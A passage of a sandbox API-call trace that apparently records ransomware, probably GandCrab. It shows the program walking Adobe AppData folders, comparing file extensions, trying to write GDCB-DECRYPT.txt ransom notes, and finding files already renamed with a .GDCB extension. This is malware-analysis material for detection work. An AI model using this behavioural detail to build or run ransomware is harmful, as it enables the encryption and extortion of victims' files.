Data\\Application Data\\Application Data\\Adobe\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat" [0169.960] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat") returned 117 [0169.960] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.960] lstrcmpW (lpString1="AcroCef", lpString2=".") returned 1 [0169.960] lstrcmpW (lpString1="AcroCef", lpString2="..") returned 1 [0169.960] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="AcroCef" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef" [0169.960] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef") returned 117 [0169.960] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.960] lstrcmpW (lpString1="Color", lpString2=".") returned 1 [0169.960] lstrcmpW (lpString1="Color", lpString2="..") returned 1 [0169.960] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="Color" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color" [0169.960] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color") returned 115 [0169.960] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.960] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.960] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.960] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt" [0169.960] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 126 [0169.960] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.960] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0169.960] FindClose (in: hFindFile=0x5a4918 | out: hFindFile=0x5a4918) returned 1 [0169.960] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.960] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\\\GDCB-DECRYPT.txt") returned 127 [0169.960] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\adobe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.961] GetLastError () returned 0x50 [0169.961] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.961] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\") returned 110 [0169.961] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\*" [0169.961] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x5a4a18 [0169.962] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.962] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.962] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.962] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.962] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.962] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0169.962] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0169.962] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat" [0169.962] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\" [0169.962] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.962] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.962] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.962] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.962] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.962] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.962] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\") returned 118 [0169.962] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*" [0169.962] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5a4918 [0169.962] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.962] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.962] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.962] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.962] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.962] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0169.962] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0169.962] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC" [0169.962] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC") returned 120 [0169.962] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.962] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.962] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.962] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt" [0169.963] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 134 [0169.963] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.963] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0169.963] FindClose (in: hFindFile=0x5a4918 | out: hFindFile=0x5a4918) returned 1 [0169.963] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.963] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\\\GDCB-DECRYPT.txt") returned 135 [0169.963] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\adobe\\acrobat\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.964] GetLastError () returned 0x50 [0169.964] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.964] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\") returned 118 [0169.964] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*" [0169.964] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5a4c58 [0169.964] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.964] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.964] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.964] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.964] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.964] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0169.964] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0169.964] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC" [0169.964] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\" [0169.964] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.965] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.965] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.965] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.965] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.965] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.965] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\") returned 121 [0169.965] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*" [0169.965] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0x5a4918 [0169.965] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.965] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.965] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.965] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.965] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.965] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2=".") returned 1 [0169.965] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2="..") returned 1 [0169.965] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst" [0169.965] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 139 [0169.965] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0169.965] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.965] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2=".") returned 1 [0169.965] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2="..") returned 1 [0169.965] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst" [0169.965] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 139 [0169.965] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0169.965] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.965] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2=".") returned 1 [0169.965] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2="..") returned 1 [0169.965] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst" [0169.965] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 138 [0169.965] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0169.965] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.966] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2=".") returned 1 [0169.966] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2="..") returned 1 [0169.966] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst" [0169.966] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 138 [0169.966] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0169.966] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.966] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0169.966] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0169.966] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache" [0169.966] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache") returned 126 [0169.966] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.966] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.966] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.966] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt" [0169.966] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 137 [0169.966] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.966] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.966] lstrcmpW (lpString1="IconCacheRdr.dat.GDCB", lpString2=".") returned 1 [0169.966] lstrcmpW (lpString1="IconCacheRdr.dat.GDCB", lpString2="..") returned 1 [0169.966] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB" [0169.966] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned 142 [0169.966] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0169.966] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.966] lstrcmpW (lpString1="IconCacheRdr65536.dat.GDCB", lpString2=".") returned 1 [0169.966] lstrcmpW (lpString1="IconCacheRdr65536.dat.GDCB", lpString2="..") returned 1 [0169.966] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr65536.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB" [0169.966] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned 147 [0169.966] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0169.966] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.966] lstrcmpW (lpString1="SharedDataEvents", lpString2=".") returned 1 [0169.966] lstrcmpW (lpString1="SharedDataEvents", lpString2="..") returned 1 [0169.966] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="SharedDataEvents" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents" [0169.966] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 137 [0169.966] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.966] lstrcmpW (lpString1="ToolsSearchCacheRdr", lpString2=".") returned 1 [0169.966] lstrcmpW (lpString1="ToolsSearchCacheRdr", lpString2="..") returned 1 [0169.966] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="ToolsSearchCacheRdr" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr" [0169.966] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr") returned 140 [0169.966] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.966] lstrcmpW (lpString1="UserCache.bin.GDCB", lpString2=".") returned 1 [0169.966] lstrcmpW (lpString1="UserCache.bin.GDCB", lpString2="..") returned 1 [0169.966] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="UserCache.bin.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application 